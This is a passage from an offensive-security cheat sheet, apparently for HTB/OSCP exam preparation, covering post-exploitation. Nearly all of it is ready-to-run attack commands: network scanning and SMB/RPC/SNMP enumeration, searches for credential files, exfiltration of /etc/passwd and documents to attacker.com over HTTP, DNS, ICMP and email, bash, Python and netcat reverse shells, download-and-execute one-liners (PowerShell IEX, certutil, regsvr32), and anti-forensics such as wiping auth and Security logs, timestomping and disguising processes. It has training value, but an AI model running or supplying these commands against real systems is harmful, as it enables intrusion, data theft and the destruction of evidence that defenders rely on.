ip route # Linux routing table
route print # Windows routing table
arp -a # ARP table (both Linux/Windows)
netstat -rn # Routing table alternative
# Subnet discovery
# Linux ping sweep
for i in {1..254}; do (ping -c 1 192.168.1.$i | grep "bytes from" &); done
# Windows ping sweep
for /L %i in (1,1,254) do @ping -n 1 -w 200 192.168.1.%i > nul && echo 192.168.1.%i is up
# Port scanning from compromised host
# Using netcat for port scanning
nc -zv 192.168.1.10 1-1000 # TCP port scan
nc -zuv 192.168.1.10 1-1000 # UDP port scan
# PowerShell port scanning
1..1024 | % {echo ((New-Object Net.Sockets.TcpClient).Connect("192.168.1.10",$_)) "Port $_ is open"} 2>$null
# Service enumeration
# SMB enumeration
smbclient -L //192.168.1.10 -N # List SMB shares
enum4linux 192.168.1.10 # Comprehensive SMB enumeration
# RPC enumeration
rpcclient -U "" -N 192.168.1.10 # Anonymous RPC connection
# SNMP enumeration
snmpwalk -c public -v1 192.168.1.10 # SNMP walk with public community
# DNS enumeration from internal position
nslookup # Interactive DNS queries
dig @192.168.1.1 domain.local axfr # Zone transfer attempt
dnsrecon -r 192.168.1.0/24 # Reverse DNS enumeration
# Why internal reconnaissance is crucial:
# - Identifies additional attack targets
# - Reveals network architecture and segmentation
# - Discovers internal services not exposed externally
# - Provides context for lateral movement planning
Data Exfiltration Techniques
What data exfiltration involves: Stealing sensitive data from compromised systems using various covert channels and techniques.
# File identification and collection
# Linux sensitive file locations
find / -name "*.sql" -o -name "*.db" -o -name "*.sqlite" 2>/dev/null
find / -name "*password*" -o -name "*credential*" 2>/dev/null
find /home -name "*.doc" -o -name "*.docx" -o -name "*.pdf" -o -name "*.xls" -o -name "*.xlsx" 2>/dev/null
grep -r "password\|credential\|secret" /var/www/ 2>/dev/null
# Windows sensitive file locations
dir /s /b C:\*password*
dir /s /b C:\*credential*
dir /s /b C:\*.sql
dir /s /b C:\*.db
findstr /si "password\|credential" C:\*.txt C:\*.ini C:\*.cfg C:\*.xml
# Data exfiltration methods
## HTTP/HTTPS exfiltration
# Linux
curl -X POST -F "file=@/etc/passwd" http://attacker.com/upload.php
tar czf - /home/user/documents | curl -X POST --data-binary @- http://attacker.com/upload
# Windows
powershell -c "Invoke-WebRequest -Uri 'http://attacker.com/upload.php' -Method POST -InFile 'C:\temp\data.txt'"
## DNS exfiltration
# Linux
cat /etc/passwd | xxd -p -c 16 | while read line; do nslookup $line.attacker.com; done
# Windows
powershell -c "foreach($line in Get-Content 'C:\temp\data.txt'){nslookup ($line + '.attacker.com')}"
## ICMP exfiltration
# Linux
cat /etc/passwd | base64 | while read line; do ping -c 1 -p $line attacker.com; done
## Email exfiltration
# Linux (if sendmail available)
cat sensitive_file.txt | mail -s "Data" attacker@evil.com
# Windows (if SMTP available)
powershell -c "Send-MailMessage -To 'attacker@evil.com' -From 'system@target.com' -Subject 'Data' -Body (Get-Content 'C:\temp\data.txt' | Out-String) -SmtpServer 'smtp.target.com'"
## File sharing exfiltration
# Linux
python3 -m http.server 8080 # Start HTTP server
# Access from attacker: wget http://target:8080/file
# Windows
powershell -c "New-SmbShare -Name 'Data' -Path 'C:\temp' -ReadAccess 'Everyone'"
# Why multiple exfiltration methods:
# - Different methods work in different network environments
# - Stealth requirements vary by engagement
# - Network restrictions may block certain protocols
# - Redundancy ensures successful data extraction
Advanced Post-Exploitation Techniques
Living Off the Land (LOLBAS/GTFOBins)
What Living Off the Land means: Using legitimate system tools and utilities for malicious purposes, avoiding detection by using trusted binaries.
# Linux Living Off the Land (GTFOBins)
## File transfer using legitimate tools
# Base64 encoding/decoding
base64 /etc/passwd # Encode file
echo "encoded_content" | base64 -d > /tmp/passwd # Decode file
# Using curl for file operations
curl file:///etc/passwd # Read local file
curl -X POST --data-binary @/etc/passwd http://attacker.com/ # Upload file
# Using wget for downloads
wget http://attacker.com/shell.sh -O /tmp/shell.sh
chmod +x /tmp/shell.sh
## Reverse shells using system utilities
# Bash reverse shell
bash -i >& /dev/tcp/attacker.com/4444 0>&1
# Python reverse shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attacker.com",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
# Netcat reverse shell
nc -e /bin/bash attacker.com 4444
# Windows Living Off the Land (LOLBAS)
## PowerShell for file operations
# Download files
powershell -c "Invoke-WebRequest -Uri 'http://attacker.com/file.exe' -OutFile 'C:\temp\file.exe'"
powershell -c "(New-Object Net.WebClient).DownloadFile('http://attacker.com/file.exe','C:\temp\file.exe')"
# Execute remote scripts
powershell -c "IEX(New-Object Net.WebClient).downloadString('http://attacker.com/script.ps1')"
## Certutil for file operations
certutil -urlcache -split -f http://attacker.com/file.exe C:\temp\file.exe
certutil -encode file.exe encoded.txt # Base64 encode
certutil -decode encoded.txt file.exe # Base64 decode
## Bitsadmin for downloads
bitsadmin /transfer mydownloadjob /download /priority normal http://attacker.com/file.exe C:\temp\file.exe
## Regsvr32 for code execution
regsvr32 /s /n /u /i:http://attacker.com/file.sct scrobj.dll
# Why Living Off the Land is effective:
# - Uses trusted system binaries
# - Bypasses application whitelisting
# - Reduces detection by security tools
# - No additional tools required
# - Legitimate processes appear in logs
Anti-Forensics and Evasion
What anti-forensics involves: Techniques to hide activities, remove evidence, and evade detection during post-exploitation activities.
# Log manipulation and cleaning
## Linux log cleaning
# Clear specific logs
> /var/log/auth.log # Clear authentication log
> /var/log/syslog # Clear system log
> /var/log/apache2/access.log # Clear web server access log
# Remove specific entries
sed -i '/attacker_ip/d' /var/log/auth.log # Remove entries containing attacker IP
grep -v "malicious_command" /var/log/auth.log > /tmp/clean.log && mv /tmp/clean.log /var/log/auth.log
# Clear command history
history -c # Clear current session history
> ~/.bash_history # Clear bash history file
unset HISTFILE # Disable history logging
export HISTSIZE=0 # Set history size to 0
## Windows log manipulation
# Clear Windows event logs
wevtutil cl Security # Clear Security log
wevtutil cl System # Clear System log
wevtutil cl Application # Clear Application log
# PowerShell history clearing
Remove-Item (Get-PSReadlineOption).HistorySavePath -Force
# Timestamp manipulation
## Linux timestamp modification
touch -r /bin/ls /tmp/malicious.sh # Copy timestamp from legitimate file
touch -d "2020-01-01 12:00:00" /tmp/file # Set specific timestamp
## Windows timestamp modification
powershell -c "(Get-Item 'C:\temp\file.exe').LastWriteTime = '01/01/2020 12:00:00'"
# File and directory hiding
## Linux file hiding
# Hidden files (start with dot)
mv malicious.sh .hidden_file
# Hiding in common directories
cp malicious.sh /usr/bin/.system_update
cp malicious.sh /var/tmp/.cache_cleanup
## Windows file hiding
# Set hidden attribute
attrib +h +s C:\temp\malicious.exe
# Hide in system directories
copy malicious.exe C:\Windows\System32\drivers\.hidden.exe
# Process hiding and masquerading
## Linux process masquerading
# Change process name
exec -a "system_update" ./malicious_binary
# Background processes
nohup ./malicious_binary > /dev/null 2>&1 &
## Windows process masquerading
# Rename binary to look legitimate
copy malicious.exe svchost.exe
# Run with legitimate-looking command line
svchost.exe -k netsvcs
# Network traffic evasion
## Using common ports and protocols
# HTTP/HTTPS reverse shells (port 80/443)
# DNS tunneling for communication
# ICMP tunneling for covert channels
## Traffic encryption
# Encrypt payloads and communications
# Use legitimate protocols (HTTPS, DNS, ICMP)
# Mimic normal traffic patterns
# Why anti-forensics is important:
# - Delays detection and response
# - Removes evidence of compromise
# - Maintains persistent access longer
# - Complicates incident response efforts
# - Essential for advanced persistent threats
Post-Exploitation Methodology Summary
HTB/OSCP Post-Exploitation Workflow
Systematic approach for post-exploitation success:
- Initial Enumeration Phase
- Run automated enumeration tools (LinPEAS/WinPEAS)
- Manually verify high-priority findings
- Document all discovered information systematically
-
Identify multiple potential escalation vectors
-
Privilege Escalation Execution
- Start with highest probability vectors
- Test SUID binaries and sudo misconfigurations (Linux)
- Check service misconfigurations (Windows)
-
Fall back to kernel/system exploits if needed
-
Post-Escalation Activities
- Establish multiple persistence mechanisms
- Harvest credentials from system
- Document administrative access proof
-
Prepare for potential lateral movement
-
Advanced Post-Exploitation
- Enumerate internal network from compromised host
- Extract sensitive data for demonstration
- Implement anti-forensics measures
- Maintain access through multiple vectors
Key Success Factors for HTB/OSCP:
Technical Proficiency:
- Automated tool mastery - LinPEAS, WinPEAS, PowerUp
- Manual enumeration skills - Understanding system internals
- Multiple escalation techniques - Don't rely on single method
- Cross-platform knowledge - Linux and Windows differences
Methodology Discipline:
- Systematic enumeration - Don't skip steps
- Thorough documentation - Track all findings and attempts
- Multiple persistence methods - Ensure continued access
- Stealth considerations - Balance effectiveness with detection risk
Common Post-Exploitation Mistakes to Avoid:
- Stopping after first privilege escalation success
- Not establishing persistence mechanisms
- Inadequate credential harvesting
- Poor operational security practices
- Insufficient documentation of administrative access
Advanced Techniques for Complex Scenarios:
- Token impersonation - Windows service account contexts
- Living off the land - Using legitimate tools for malicious purposes
- Anti-forensics - Covering tracks and evading detection
- Internal reconnaissance - Preparing for lateral movement
This post-exploitation methodology provides comprehensive coverage of techniques essential for HTB challenges and OSCP exam scenarios, emphasizing both automated enumeration and manual exploitation skills required for successful privilege escalation and system compromise.